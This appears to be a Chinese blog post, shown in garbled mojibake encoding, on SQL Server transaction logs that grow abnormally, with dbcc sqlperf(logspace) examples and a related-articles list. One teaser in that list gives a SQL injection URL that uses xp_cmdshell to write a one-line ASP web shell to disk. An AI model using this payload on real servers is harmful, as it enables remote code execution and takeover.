¹ØÓÚsqlÈÕÖ¾Îļþ
Ò»¶Îʱ¼äÀ´£¬Ã¿ÌìµÄ¹¤×÷¶¼±È½ÏÔÓ£¬vb,asp,c#,sql£¬Ã¿Ï×÷¶¼Òª¸ã£¬ÊµÔÚÊÇÀÛ£¡¹¤×÷Ö®Ó࣬ÏëÏ빫˾ºÍ¹¤×÷µÄÇé¿ö£¬¿´À´ÊÇÓбØÒª»»¸ö»·¾³ÁË¡£²»¹ýÒ²ÒªÏȰÑĿǰµÄ¹¤×÷´¦ÀíÍê³É°¡¡£
×î½üÓÖÓöµ½Ò»¸öÎÊÌ⣺һ¼Ò¿Í»§Ê¹ÓÃÖеÄÊý¾Ý¿â£¬ÈÕÖ¾ÎļþÒì³£Ôö´ó£¬Æ½¾ùÿÌìÔö¼Ó´óÔ¼Ò»¸öG£¬¶øÊý¾ÝÎļþ±ä»¯²»´ó¡£ÕâÁ½Ì쿪ʼ²éÕâ¸öÎÊÌ⣬µ«ÊǺü¸Ììʱ¼ä¹ýÈ¥ÁË£¬Ò»Ö±Ã»ÓÐÍ·Ð÷¡£ÒѾ×öÁËÖØ½¨Ë÷Òý£¬ÖØ×°sql£¬ÖØ×°ÏµÍ³£¬¸ü»»·þÎñÆ÷µÈ²Ù×÷£¬ÎÊÌâÒÀ¾É¡£ÔÚgoogleËÑË÷ÁËÏ£¬Ö»ÓвéÕÒsqlÊý¾Ý¿âÈÕÖ¾Îļþ´óСµÄÃüÁµ«ÊDz»ÖªÈçºÎ²éÕÒ±íÈÕÖ¾´óС¡£
²éѯÊý¾Ý¿âµÄÈÕÖ¾Îļþ´óС£ºdbcc sqlperf(logspace)
Database Name Log Size (MB) Log Space Used (%) Status
-------------- ------------------------ ------------------------ -----------
master 2.2421875 32.600174 0
tempdb 0.4921875 39.285713 0
model 0.4921875 41.07143 0
msdb 2.2421875 30.901567 0
pubs 0.7421875 49.934212 0
Northwind 0.9921875 34.940945 0
dbcc sqlperf(logspace) ¿ÉÒÔ»ñȡʵÀýÖÐÿ¸öÊý¾Ý¿âÈÕÖ¾Îļþ´óС£¬¼°Ê¹ÓÃÇé¿ö¡£Èç¹ûÒª±£´æSQLÈÕÖ¾Îļþ´óС£¬ÔòÐèÒªÏÈ´´½¨Ò»¸öÊý¾Ý±í£¬È»ºó¶¯Ì¬Ö´ÐÐdbcc sqlperf(logspace)ÃüÁ
create table dbo.LogSize
(
dbname nvarchar(50) not null
,logsize decimal(8,2) not null
,logused decimal(5,2) not null
,status int null
)
insert into dbo.LogSize
execute('dbcc sqlperf(logspace) with no_infomsgs')
Òª²éÈÕÖ¾ÎļþÒì³£Ôö´óµÄÔÒò,¾ÍÒªÏÈÈ·¶¨ÊÇÄÄÕűí²Ù×÷Òì³££»Í¨¹ýLog Explorer¹¤¾ß,ÎÒÃÇ¿ÉÒÔ¿´µ½ÈÕÖ¾ÎļþµÄ×´¿ö.
Log ExplorerÖ÷ÒªÓÃÓÚ¶ÔMSSQLServerµÄÊÂÎñ·ÖÎöºÍÊý¾Ý»Ö¸´¡£¿ÉÒÔä¯ÀÀÈÕÖ¾¡¢µ¼³öÊý¾Ý¡¢»Ö¸´±»Ð޸ĻòÕßɾ³ýµÄÊý¾Ý(°üÀ¨Ö´Ðйýupdate,delete,dropºÍtruncateÓï¾äµÄ±í¸ñ)¡£Ò»µ©ÓÉÓÚϵͳ¹ÊÕÏ»òÕßÈËΪÒòËØµ¼ÖÂÊý¾Ý¶ªÊ§£¬ËüÄܹ»ÌṩÔÚÏß¿ìËÙµÄÊý¾Ý»Ö¸´£¬×î´ó³Ì¶ÈÉϱ£Ö¤»Ö¸´ÆÚ¼äµÄÆäËûÊÂÎï²»¼ä¶ÏÖ´ÐС£¿ÉÒÔÖ§³ÖSQLServer7.0ºÍSQLServer2000,ÌáÈ¡±ê×¼Êý¾Ý¿âµÄÈÕÖ¾Îļþ»òÕß±¸·ÝÎļþÖеÄÐÅÏ¢¡£
Log Explorer
Ïà¹ØÎĵµ£º
create PROCEDURE pagelist
@tablename nvarchar(50),
@fieldname nvarchar(50)='*',
@pagesize int output,--ÿҳÏÔʾ¼Ç¼ÌõÊý
@currentpage int output,--µÚ¼¸Ò³
@orderid nvarchar(50),--Ö÷¼üÅÅÐò
@sort int,--ÅÅÐò·½Ê½£¬1±íʾÉýÐò£¬0±íʾ½µÐòÅÅÁÐ
......
²éѯËÙ¶ÈÂýµÄÔÒòºÜ¶à£¬³£¼ûÈçϼ¸ÖÖ
1¡¢Ã»ÓÐË÷Òý»òÕßûÓÐÓõ½Ë÷Òý(ÕâÊDzéѯÂý×î³£¼ûµÄÎÊÌ⣬ÊdzÌÐòÉè¼ÆµÄȱÏÝ)
2¡¢I/OÍÌÍÂÁ¿Ð¡£¬ÐγÉÁËÆ¿¾±Ð§Ó¦¡£
3¡¢Ã»Óд´½¨¼ÆËãÁе¼Ö²éѯ²»ÓÅ»¯¡£
4¡¢ÄÚ´æ²»×ã
5¡¢ÍøÂçËÙ¶ÈÂý
6¡¢²éѯ³öµÄÊý¾ÝÁ¿¹ý´ó£¨¿ÉÒÔ²ÉÓöà´Î²éѯ£¬ÆäË ......
×îÏêϸµÄSQL×¢ÈëÓï¾äÏà¹ØµÄÃüÁîÕûÀí
1¡¢ ÓÃ^תÒå×Ö·ûÀ´Ð´ASP(Ò»¾ä»°Ä¾Âí)ÎļþµÄ·½·¨:
http://192.168.1.5/display.asp?keyno=1881;exec master.dbo.xp_cmdshell 'echo ^<script language=VBScript runat=server^>execute request^("l"^)^</script^> >c:\mu.asp';- ......
SQL ServerÖÐÎİæµÄĬÈϵÄÈÕÆÚ×Ö¶Îdatetime¸ñʽÊÇyyyy-mm-dd Thh:mm:ss.mmm
ÀýÈç:
select getdate()
2004-09-12 11:06:08.177
Õâ¶ÔÓÚÔÚÒª²»Í¬Êý¾Ý¿â¼ä×ªÒÆÊý¾Ý»òÕßϰ¹ßoracleÈÕÆÚ¸ñʽYYYY-MM-DD HH24:MI:SSµÄÈ˶àÉÙÓÐЩ²»·½±ã.
ÎÒÕûÀíÁËÒ»ÏÂSQL ServerÀïÃæ¿ÉÄܾ³£»áÓõ½µÄÈÕÆÚ¸ñʽת»»·½·¨:
¾ÙÀýÈçÏÂ:
select CONV ......